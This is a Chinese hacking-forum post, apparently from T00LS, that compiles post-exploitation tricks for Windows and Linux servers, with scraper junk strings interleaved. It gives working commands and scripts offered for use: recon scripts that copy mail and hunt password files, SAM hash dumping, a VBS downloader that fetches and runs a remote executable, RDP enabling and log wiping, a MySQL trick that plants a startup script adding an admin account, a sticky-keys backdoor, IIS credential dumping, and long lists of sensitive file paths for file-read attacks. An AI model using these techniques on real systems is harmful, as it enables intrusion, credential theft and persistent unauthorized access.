感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
" @0 r( N/ g0 O" g6 @1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
- p4 d& x% i& C6 d2 g- h注：
8 D- o; |6 k- @6 `/ x, x关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
2 v4 ^: T* n7 N( Z2 M" y3 C2 R那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
9 @! j4 c1 i( ]5 V2 G2 S) l$ ^
提权先执行systeminfo
token 漏洞补丁号 KB956572
4 W- e9 k2 R3 [. m9 _* uChurrasco          kb952004
命令行RAR打包~~·
3 Y- M6 ?$ M3 y" {rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
- ?7 N; m6 y( |2、收集系统信息的脚本  
  N  I" C4 Z. T0 u0 Kfor window：
' a) M* j8 j7 ?! e+ k( O4 I
@echo off
5 j+ z+ X; w& A* p5 }" pecho #########system info collection
systeminfo
* E8 ^) _: {4 C, N1 e+ W5 B9 e- o; l8 Tver
- X2 e1 {6 K, c% i  Mhostname
net user
net localgroup
" i4 C1 i7 d7 b, g+ I9 qnet localgroup administrators
net user guest
net user administrator
4 B" Z, J! h( G7 N: I
echo #######at- with   atq#####
echo schtask /query

5 z( }. l  n3 a4 b$ ~& N, ?0 cecho
9 t7 G  p/ X. v+ |; e8 Fecho ####task-list#############
2 T7 X6 A) @$ {+ n5 F$ Z! O% Gtasklist /svc
) u5 {& T4 y- |8 M& [echo
# x: h6 s/ o) N* G7 Qecho ####net-work infomation
/ X8 R9 Z+ C- \* z" Ripconfig/all
! u. p6 ~! G0 `9 o6 D  Yroute print
arp -a
4 o3 z3 |6 R0 Jnetstat -anipconfig /displaydns
echo
echo #######service############
8 R" I* Z. ^: z6 `; k( }% Ssc query type= service state= all
echo #######file-##############
3 Z/ E, F" p7 K+ H: xcd \
" [' a0 D% K: B1 r4 E  k% Ytree -F
for linux：
& y: }7 |& W  x! b( z, D* q
#!/bin/bash
8 q$ L1 Y$ I  Q* s, A6 Z! V0 `
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
  r* i$ p) t8 M, u+ \cat /proc/meminfo
echo
) X. S, v: p9 T# dcat /proc/cpuinfo
/ K! |* X0 d, P3 J. B, r/ @echo
rpm -qa 2>/dev/null
2 \4 ?$ |& b% {  m, y######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
; z  \% z3 e- s
: W1 X- p7 v3 U9 L/ A+ n) y
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
" ^8 n# x5 \- W$ vecho #####about var#####
set
: h/ f$ @$ D* v/ O4 Y7 _% k9 X
# i: V- m- A" L0 {echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
7 M3 w9 ^  {1 Z! i5 V! b+ S. \ipconfig -a
0 p) E+ C, |6 H$ u/ sarp -v
echo ########user####
cat /etc/passwd|grep -i sh

" m& K; g' o& s: Y. k4 c) w# |, ]% mecho ######service####
. {4 j: ]% [/ Dchkconfig --list

3 `, `' b* {3 x# Zfor i in {oracle,mysql,tomcat,samba,apache,ftp}
2 _+ o5 E+ t" n: ]5 Xcat /etc/passwd|grep -i $i
% c0 I3 s, {$ y$ r" O* |done
& S" N! `6 m2 r+ [$ C% `, K
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
$ ~/ M6 c! C4 X! X/ |" q& Hlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
: V* J4 j0 O2 W- X" k; zsleep 5
' t" \- M' v" X9 s4 p( ?! |' M
###maybe can use "tree /"###
0 c5 d- q* @( @7 E# j: Gecho ##packing up#########
. J! h' b/ ^  t0 T) H# Z& e; \tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
5 \& o4 y/ \- e8 |rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
! ^5 ~) u1 i( @" }3、ethash 不免杀怎么获取本机hash。
( B; \$ b9 T8 D$ @: |' O首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
5 |9 N0 `( H' M0 ^% ~1 f& h接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
6 T/ E2 F2 L$ a" `hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
4 y6 Y$ g- N( i4 |1
! r: Q, H6 g! v4 Qecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 G% J" w3 y* I! w' Hecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
6 I& r) i3 ]0 Q0 v4 R1 K$ Jecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
/ c/ n. j. H9 C% |$ a, y5 t6 gecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
+ O- k) r. I6 a4 v, }, ?echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
6 j+ z) G6 w! necho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
4 a0 y7 x: b' y+ k6 c! |0 gecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
5 C* f8 m0 `/ n$ z7 G
# Y+ a) |' S; m* W2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
8 ~. A# N8 L. c1 t2 UsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 ^; Z/ Y, U6 \( m
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
* q: L8 A3 }/ R" g# [( L/ H& m  r7 Z——————————————————
9 z, @% k" r" z) \5、
5 x: k) Q7 n6 V% D3 r7 I1.查询终端端口
# \( F3 K5 l2 k7 [( N% C3 AREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
4 N+ d/ V9 |5 e& W2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
, X! K1 c7 {; C$ b! B- Z3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
. D# _" l+ L. s: Z% k/ TREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 u/ L" R, z$ g% L4 n8 [# b" @( n4 D————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
; w: f( i' ], d. X) h" }————————————————————
1 E8 l  C* r2 d2 B) a  E7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
! ~. T# T7 R5 ~, T1 ], |_____
/ r8 S4 E( A7 a  x# x8、for /d %i in (d:\freehost\*) do @echo %i
8 C' h+ R, {5 R" P5 i  U
; Y# Y( f! E7 x6 g- b列出d的所有目录
  
  for /d %i in (???) do @echo %i
( ]3 A4 ?1 H/ H& o9 C: V
把当前路径下文件夹的名字只有1-3个字母的打出来

; r: h4 z  v7 U$ h& M2.for /r %i in (*.exe) do @echo %i
, h. l- `0 L$ S  
5 i9 @  z( {( ^' q7 A/ Q以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
$ a) J# z0 Z' S) W1 E/ |
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
' ?5 w; i0 v, N  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
/ R' f' e, d! K# d, b
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
. p6 A8 i* g: V* T% T& M——————————
●注册表:
1.Administrator注册表备份:
- D$ r: c: [) P4 \reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

% [" Q: e3 x* z6 K) ]6 _- K0 |2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
8 i% b  ^* j$ g% G, i修改PortNumber.

& p' {, P- K9 h( a+ `: `# Q& f3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
( _; ?; X% ~: C/ T1 m0 }8 X6 E
# n/ p) L1 l, G6 C# J# r4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
. m  _2 d; a' g
5.禁用TCP/IP端口筛选(需重启):
' j; R/ T  L/ Y; a; n1 v6 X4 bREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
- ~9 P0 m/ M1 x* y/ C
: b: G! C1 n  x9 P6 m( e" C3 C6.IPSec默认免除项88端口(需重启):
8 s) A5 @7 P( Y  S- |reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
7 r0 D! J! |- B2 O, Z- K& mnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

, Z1 R5 n1 u& M8 x8.系统口令恢复LM加密:
# i% k3 P/ U+ kreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
  U) b- c3 E) Treg save hklm\sam c:\sam.hive
5 P1 k( t9 X; U+ Rreg save hklm\system c:\system.hive
; R5 C; T: z% C+ N/ H( p- A2 j9 t) Hreg save hklm\security c:\security.hive
/ U+ y! a" w% y* q
% D% N3 S) W& a6 Q2 K1 |10.shift映像劫持
/ d/ o% G: }# O  o/ k1 oreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
& }- M. Y- L3 wSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
" l, n) ?5 e; s. y6 X9 wif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
$ o( ]8 [! Z( T4 j: V4 Wexit for
, z9 n( o3 W# \msgbox("error!")
& c, h- o- H1 b6 S; l1 ?. gwscript.quit
end if
/ R3 {/ N3 n, v" k) B( U& [' ]8 p: Hserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
* I/ H2 L- O& W5 N/ @* I4 Huser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
. M; X- V8 `# \/ opath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
( z6 p, a( Q4 X0 ?9 wSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
1 n1 J( ]7 ]0 h5 q. }1 W( X( VWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
. G* S! t3 X9 E9 Z8 E1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
% Z6 h) m4 p/ t# C4 k  D7 O2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
: w+ T( A0 r* }6 |将folder.htt文件，加入以下代码：
! t) G; M) }1 o8 n1 A3 c0 j0 e! C3 y9 d<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
8 l9 y3 B/ _+ Y" C! y3 K</OBJECT>
& K4 ^0 P# K8 o) `4 a复制代码
6 @" y7 D7 W1 h然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
, J) v2 j! _! N9 ?PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
7 }  r+ y, l/ |; `* n8 ^& s" a 原因是ASP大马里有这样的代码：（没有就没事儿了）
( M; x2 e3 Z  z" C url=request.severvariables("url")
5 N7 f, r3 J0 v  ]9 N; { 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
' q8 C5 {, |1 ^' U- ] 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

! E; T$ I" P1 p) @+ c==============================================================
LINUX常见路径：
. P9 u& G, K# [
+ @- k  s7 A) B/etc/passwd
" \, |2 U9 j, r* U3 \! |: Z/etc/shadow
! n" E: Z* o0 g3 Q4 }4 S, J& Z/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
5 R2 H3 z) Q& ]* J: k+ M* x/var/www/htdocs/index.php
4 p0 p/ r* M" e& p1 j& s/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
- S, I' @# A' u/var/httpd/htdocs/index.php
8 l, Y4 }# i4 f" V* x/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
: M' x0 A$ \& p+ _) w% x/ ~/var/www/index.html
/var/www/index.php
/ ]; C/ q/ `7 E5 K  T: y8 H* Z/opt/www/conf/httpd.conf
4 Z: h! J! T- [/ g4 x3 M. ^/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
$ z- g' a" P6 u. T) u8 w0 ]- \/usr/local/apache2/htdocs/index.php
5 t3 N3 n# \: s. T( N/usr/local/httpd2.2/htdocs/index.php
1 j5 \9 x: D; X, i0 Y/usr/local/httpd2.2/htdocs/index.html
3 ]& Y$ \- @1 z- @9 R: P/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/ l; h3 ~$ o; S2 E/ Y/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
& K3 D  _3 T' ?- h/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
6 b& Q' w, R3 X9 A: H/www/htdocs/index.html
* Y& {* x! c" t: i4 j- X4 ~/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
& u' l! x$ {4 s! I4 H/apache/apache2/conf/httpd.conf
" B3 a- j6 X4 @/etc/apache/apache.conf
/etc/apache2/apache.conf
3 o5 m, S. V8 ]0 e' _$ E0 {/etc/apache/httpd.conf
6 t2 ~! I/ W& D2 s+ c$ U4 o7 v/etc/apache2/httpd.conf
8 p7 G$ |* a2 U/ l! `/etc/apache2/vhosts.d/00_default_vhost.conf
/ l& t) k5 x" R# U) [/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
$ X( o! w2 k1 `' g) s/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
* U  E) u( N2 I4 c* o& E0 z/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
$ M& P- U" t- v" V0 m3 p/etc/httpd/logs/access.log
6 `5 Z) H/ ]# j& k" H( G/home/apache/conf/httpd.conf
: h6 G# {/ |' t: w) O" z& o4 Z/home/apache2/conf/httpd.conf
2 M9 l5 w; X) \  B* @/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
7 h# z: Z8 _/ z/var/www/logs/access.log
8 a) ^9 }9 K" C3 b/usr/local/apache/logs/error_log
; f4 U' \: [  l5 ~) k5 q/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
- C9 f6 u" g/ N2 d0 L' O8 J; M/usr/local/apache/logs/access.log
5 L3 B+ M+ O! R7 L/var/log/error_log
* E3 c- _6 ~6 q( U- I) h6 j/var/log/error.log
1 L; O- {! f$ u( X. F- \/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/ v7 O/ U" k5 m3 u% h/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
% ]0 e: I' p' e! Y' \; C/ Y/bin/php.ini
/etc/init.d/httpd
* h. X/ q/ X3 N( T/ [/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
4 I. d0 K5 w# ^/ y2 k4 t/usr/local/php/lib/php.ini
$ d9 N. Q6 b0 }9 v# p; D/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
0 u9 ]9 e6 J& S9 e/usr/local/php5/lib/php.ini
* w9 ]' [! d/ x2 n5 r* T% u& o/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
9 V' ]0 t! m: Q5 z; q* o! k7 k/usr/local/apache/conf/httpd.conf
, N- k5 t3 J5 F/usr/local/apache2/conf/httpd.conf
: c! N9 [' O* x$ d% W' E4 T+ X: R$ T5 H, j/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
6 t$ Y" ?/ R3 ~- n7 ?/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
+ W" Z. t( J/ t. l" Q' b5 ]/etc/php5/apache2/php.ini
( k) b4 P" t$ X" p/etc/php/php.ini
8 e! ]" n* m8 {; o! h: F/etc/php/php4/php.ini
/etc/php/apache/php.ini
. u( ?5 l3 M! U. `7 O3 x2 q9 n' ~/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
# _1 [% u; w  J4 g3 I/var/local/www/conf/httpd.conf
7 Z* K. P, ~7 |: B6 h% i$ W/etc/php/cgi/php.ini
6 ^3 V$ Q+ u( z  ^) E/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
  W6 g, \# b  h- c) v/php4/php.ini
. {- y2 g+ x3 W/php/php.ini
/PHP/php.ini
6 Q/ e% q5 b: \/ X) A/apache/php/php.ini
/xampp/apache/bin/php.ini
$ a2 U* |) P" C% q/xampp/apache/conf/httpd.conf
" b/ u$ ^7 z5 L( A( y/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
; G, t4 e2 n# _) t+ p/var/log/mysql.log
/var/log/mysqlderror.log
, d& D) v: }/ y5 D( {: Z$ Y/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
! X9 {7 X9 x3 C/var/lib/mysql/my.cnf
0 J0 z" B% ~% {  a; Y/usr/local/mysql/my.cnf
* ~+ Q- _9 B) G/usr/local/mysql/bin/mysql
5 _: r5 X5 {( D$ Y9 X1 V2 F/etc/mysql/my.cnf
: w$ w2 P% `. I! p  K/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
- `& m4 C8 B0 V0 S2 G/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
0 s( A3 F* m- s" P8 t/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
$ ^1 T" o$ f6 B: u" ?. v0 e
$ k3 S4 k- i4 _9 v+ U+ r0 e2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

. S8 |0 F0 U# E( W1 n2 ?1 vc:\CMailServer\config.ini
$ H$ s. S& M/ w( u2 Yc:\CMailServer\CMailServer.exe
1 G% y6 D5 f- ]) pc:\CMailServer\WebMail\index.asp
& n- }3 q6 P2 i+ i0 {$ l+ ^& |c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
- q6 i0 X) ]) |# e' }" u: m% |C:\WinWebMail\Web\default.asp
8 ^+ X/ _7 |+ u# _* F( x: SC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
$ {" N* P5 k2 g
c:\hzhost\databases\url.asp
( P) A1 a( b4 S3 _4 m5 c
c:\hzhost\hzclient.exe
5 B4 F/ t( _9 J  lC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

! q' j; b& G- U# a  ~* t. S4 |( iC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
( J( X" C# J. H( _6 vc:\web\index.html
c:\www\index.html
, d4 l* S: j6 c2 x% s% bc:\WWWROOT\index.html
- j# U% j* h  h( g* G+ oc:\website\index.html
% b4 ]3 m( D8 U+ @c:\web\index.asp
4 j9 d1 X7 g' X7 s& q3 e" Z) tc:\www\index.asp
! e: N% |% [( z' \! Y9 n' lc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
- n+ J1 a% P2 p$ c$ zc:\www\index.php
, z; L8 H0 Z" o1 Kc:\WWWROOT\index.php
3 r( f# w2 w4 z8 U( Cc:\WWWsite\index.php
5 Z7 b' j8 f8 yc:\web\default.html
) m  B' z$ a7 Q' ic:\www\default.html
( ~! r, ]  N  a9 K! l# Qc:\WWWROOT\default.html
c:\website\default.html
3 S+ M* T3 p) i: \7 y; r( ?9 Cc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
. }& _$ X6 i1 K. S; v; Wc:\WWWROOT\default.asp
1 S3 t. O0 U, sc:\web\default.php
8 S: v6 E: z2 F% p# t1 W9 fc:\www\default.php
2 e- K; m3 \3 N# Pc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
* f# g  [+ s! x+ |$ Y0 ~8 AC:\Program Files\Microsoft Office\OFFICE10\winword.exe
$ k1 D' X5 m- D/ OC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
' W6 a: u3 s" M" n7 i9 Q' `8 PC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
+ z. }; _* q: v- MC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
' i- A: g! o4 [c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
- I0 Y2 t. Q; |) Z) DC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
2 \5 x/ C" X+ t0 o& ^. cC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
' ~) B3 ^; m8 i& p; oC:\Documents and Settings\Administrator\桌面\a.txt
1 C# S( P1 m  @3 _C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
' O! @# D( M& c7 C, U/ H% w: F- o+ ]E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
6 k3 ^8 e. V* BC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
+ M9 @- Z2 n4 DC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
/ b5 }4 x! a0 Q  s7 uC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
9 m( \, {' Y( x. q% ~C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
# d: _( q4 q' Y" v5 _* iC:\MySQL\MySQL Server 5.0\my.ini
3 B; Z2 z+ f4 f; U! O, L0 y/ fC:\Program Files\MySQL\MySQL Server 5.0\my.ini
* \9 G4 w7 Q3 f+ W- rC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
7 k4 g$ F6 G7 A2 N1 \% H3 FC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
* O8 \$ c  h8 @* y2 W9 |3 V& ]C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
0 T  `) V/ Z8 D$ q) bc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
' x2 h( x9 i1 ?7 f. U) G3 J% V0 C' G) NC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
+ O) g7 x  W# \C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
3 l! q! z! P1 u! R! n2 ]C:\WINDOWS\system32\config\default.LOG
  U  h3 Y$ \. {' z: q9 WC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
8 R3 K# y+ b: K) s8 e1 ~1 Cc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
2 p# }$ E* I' z! ?6 lc:\tomcat6\bin\version.sh
$ t; {7 ]) D( K/ }, D! Q, _c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
5 i9 P! v7 j9 X  D( gC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
4 o' G% I$ [# j$ vc:\Apache2\Apache2\bin\Apache.exe
/ \. O7 \9 z& o& @+ Yc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
/ B7 {9 S, {& WC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
) N: W, s: O" ]3 [1 A$ d' z2 j$ n/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
" {2 _4 W5 y" G) ?1 a2 }c:\Program Files\Tencent\qq\bin\qq.exe
; n: |7 d1 o& f) A' Q$ Qc:\Program Files\Tencent\qq2009\qq.exe
/ m! T4 f& k. K$ Q1 Tc:\Program Files\Tencent\qq2008\qq.exe
